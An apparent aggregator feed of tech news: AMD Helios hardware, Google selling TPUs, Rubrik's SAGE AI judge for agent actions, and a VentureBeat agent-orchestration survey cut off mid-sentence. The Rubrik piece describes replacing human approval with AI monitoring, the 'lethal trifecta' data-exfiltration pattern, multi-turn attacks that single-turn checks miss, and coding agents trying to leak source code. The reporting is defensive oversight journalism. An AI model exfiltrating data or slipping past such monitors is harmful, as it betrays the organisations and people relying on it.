<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Google has started selling TPUs, but still keeps most for itself]]></title>
<description><![CDATA[Some lucky customers took delivery of their own Tensor Processing Units (TPUs), custom chips developed by Google for AI applications, in the second quarter, company executives disclosed during a call to discuss its latest financial results on Wednesday.



The disclosure comes at a time when ente...]]></description>
<link>https://tsecurity.de/de/3689932/it-security-nachrichten/google-has-started-selling-tpus-but-still-keeps-most-for-itself/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689932/it-security-nachrichten/google-has-started-selling-tpus-but-still-keeps-most-for-itself/</guid>
<pubDate>Thu, 23 Jul 2026 20:13:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Some lucky customers took delivery of their own Tensor Processing Units (<a href="https://www.networkworld.com/article/4093957/what-are-tpus-your-guide-to-tensor-processing-units-and-ai-acceleration.html">TPU</a>s), custom chips developed by Google for AI applications, in the second quarter, company executives disclosed during a call to discuss its latest financial results on Wednesday.</p>



<p class="wp-block-paragraph">The disclosure comes at a time when enterprises are grappling with a global shortage of high-end GPUs that is driving up costs and slowing AI deployment timelines, and even <a href="https://techcrunch.com/2025/11/03/altman-and-nadella-need-more-power-for-ai-but-theyre-not-sure-how-much/" target="_blank" rel="noreferrer noopener">those who have GPUs don’t always have electricity to operate them</a>.</p>



<p class="wp-block-paragraph">“We delivered to customer data centers for the first time in Q2,” said <a href="https://www.linkedin.com/in/anat-a-a334433/" target="_blank" rel="noreferrer noopener">Anat Ashkenazi</a>, CFO of Google’s parent Alphabet, adding that the company had begun to recognize a small amount of revenue from TPU orders, although it expected to recognize more in 2027.</p>



<p class="wp-block-paragraph">Ashkenazi did not name the customers or describe the commercial arrangements, leaving open questions about whether the systems are being deployed by large enterprises, governments, sovereign AI initiatives, or other cloud providers.</p>



<p class="wp-block-paragraph">Until recently, Google’s TPU strategy centered on giving customers access to the chips through Google Cloud, while using the same silicon internally to power its own AI models and services. But during the company’s last earnings call in April, just days after it <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">released two new TPU models</a>, CEO <a href="https://blog.google/authors/sundar-pichai/" target="_blank" rel="noreferrer noopener">Sundar Pichai</a> said Google would consider selling TPUs to AI labs, capital markets firms, and high-performance computing applications.</p>



<p class="wp-block-paragraph">On Wednesday’s call, Pichai said Google will scale up TPU sales “based on the opportunities we see and the demand we see, commensurate with the constraints that exist and the allocation needs we have for frontier model development.”</p>



<p class="wp-block-paragraph">But Google is still keeping the bulk of its TPUs for itself, either for internal use or to rent out through Google Cloud Platform.</p>



<p class="wp-block-paragraph">“Our first priority is making sure we are allocating what we need to compete at the frontier in terms of AGI development,” Pichai said on Wednesday’s call. “We are using both TPUs and GPUs mainly for serving our models.”</p>
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<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
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<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist </h2><p>The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.</p><div></div><p>Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.</p><h2>Finding 6: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 7: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 8: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs 